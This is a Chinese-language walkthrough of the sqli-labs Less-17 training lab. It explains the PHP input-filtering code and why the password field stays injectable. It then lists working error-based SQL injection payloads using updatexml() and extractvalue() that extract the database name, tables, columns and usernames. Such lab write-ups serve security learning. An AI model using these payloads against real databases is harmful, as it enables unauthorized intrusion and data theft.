Sqli-labs-Less-17 Dumb Hacker

还是老套路使用1’探测一下,结果返回YOU SILLY DUMB HACKER;然后发现无法探测出闭合模式;给我整
的很懵逼;上网查找之后发现需要从源码入手

此时我们来一步一步的解读一下源码
1

1
2
3
function check_input($value)
{
if(!empty($value))

此时定义了一个check_input函数来判断我们输入的用户名是否为空
2

1
2
3
4
5
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,15);
}

此时若是输入的用户名不为空,则截取用户名的前15位字符
3
在解读之前我们先来介绍几个函数
(1)get_magic_quotes_gpc()函数:
该函数返回检测PHP环境配置变量magic_quotes_gpc(GPC, Get/Post/Cookie)值,当该配置的值为1的时候,PHP就会对输入的单引号、双引号、反斜杠等字符转义(也就是在它前面加上反斜杠),当值为0的时候就不会转义。这个也是为什么当我们使用1’进行探测时无法进行的原因。
当使用转义字符的时候转换前的意思和转换后的意思就已经不同了
(2)stripslashes():该函数用于去除字符串里的反斜杠,也就是防止转义
(3)addslashes():该函数用于添加字符串里的反斜杠
注意:默认地,PHP对所有的GET、POST和COOKIE数据自动运行addslashes()。所以不应对已转义过的字符串使用addslashes(),因为这样会导致双层转义。遇到这种情况时可以使用函数get_magic_quotes_gpc()进行检测。
(4)ctype_digit()函数:检测字符串的每个字符是否都是十进制数字,是的话为真,不是的话为假
(5)mysql_real_escape_string(string):string为需要转义的字符;该函数用于转义SQL语句中的特殊字符串,导致闭合失败等问题,防止SQL注入
(6)intval():将字符串转为数字

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
function check_input($value)
{
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,15);
}

// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}

// Quote if not a number
if (!ctype_digit($value))
{
$value = "'" . mysql_real_escape_string($value) . "'";
}

else
{
$value = intval($value);
}
return $value;
}

所以这个代码的作用是:先对我们以post传入的数据信息进行判断是否为空,不为空的话进行截断,接着进行判断是否开启了自动转义的配置,也就是get_magic_quotes_gpc()函数,有的话便将自动转义的反斜杠删除,也就是stripslashes()函数;然后再次进行判断;当判断没有转义字符的时候,进入第二阶段的判断;判断被处理过的数据是否为十进制数字;不是的话进入下一个转换;将该数据转换为数字,也就是这个intval()函数;是的话进行特殊的转义,也就是mysql_real_escape_string()函数,防止SQL注入
补充:这里使用get_magic_quotes_gpc()函数的作用是防止二次转义。

此时我们发现在我们提交时,会对我们提交的username进行一个check_input;所以我们提交的username
被进行了一个严格的保护;我们无法对username进行一个sql攻击;但是我们后面发现我们提交的password并没有被严格过滤;所以我们这一题的入手点就在password

根据提示这个为报错注入;但是我试了一下布尔盲注,发现也可以进行注入攻击
因为前面已经浅谈过布尔盲注;所以这题我们来浅试报错注入;由于用户名被严格保护,所以我们需要知道
一个正确的用户名;此时可以使用bp进行用户名爆破


此时总结一下报错注入的条件:页面有数据库的报错信息
步骤:
1.判断是否报错:加入单引号,看看页面是否报错

2.判断报错条件: and updatexml(1,’~’,3)



接下来介绍一下报错函数
(1)
updatexml()函数分析:updatexml (XML_document, XPath_string, new_value);
XML_document是String格式,为XML文档对象的名称;
XPath_string (Xpath格式的字符串);
new_value,String格式,替换查找到的符合条件的数据;
返回内容:若xpath正确则返回更改对象名称,否则返回xpath错误内容
说白了这个函数就是找查一个xml并替换它的名字,xpath就是xml的路径
(2)
extractvalue()函数分析:extractvalue (XML_document, XPath_string);
XML_document是String格式,为XML文档对象的名称;
Path_string (Xpath格式的字符串);
返回内容:若xpath正确则返回目标XML查询的结果,否则返回xpath错误内容
说白了这个就是找一个xml并返回内容,xpath就是xml的路径

函数报错的原因:
可以看到上面两函数里都有xpath路径,而在xpath中,插入~(ASCII码是0x7e)和^(ASCII码是0x5e)等特殊字符是非法的,也就会产生报错,而这些特殊字符也恰好是报错注入的关键点,而当报错内容为SQL语句的时候,SQL那边的解析器会自动解析该SQL语句,就造成了SQL语句的任意执行

注意:长度限制
updatexml() 函数的报错内容长度不能超过32个字符,常用的解决方式有两种:limit分页和substr()
截取字符

开始:
老规矩先查数据库名,然后查找数据表名,接着查找数据列名,然后查找数据内容
一:使用updatexml()函数
1.

1
and updatexml(1, concat('#', database()), 1)


2.

1
and updatexml(1, concat("#", (select group_concat(table_name) from information_schema.tables where table_schema="security")), 0)


3.

1
and updatexml(1, concat("#", (select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users")), 0)


4.

1
updatexml(1, concat('#', (select * from (select group_concat(username) from users) a)), 0)


二:使用extractvalue()函数
1.

1
and extractvalue(1, concat('#', database()))


2.

1
and extractvalue(1, concat("#", (select group_concat(table_name) from information_schema.tables where table_schema="security")))


3.

1
and extractvalue(1, concat("#", (select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users")))


完成!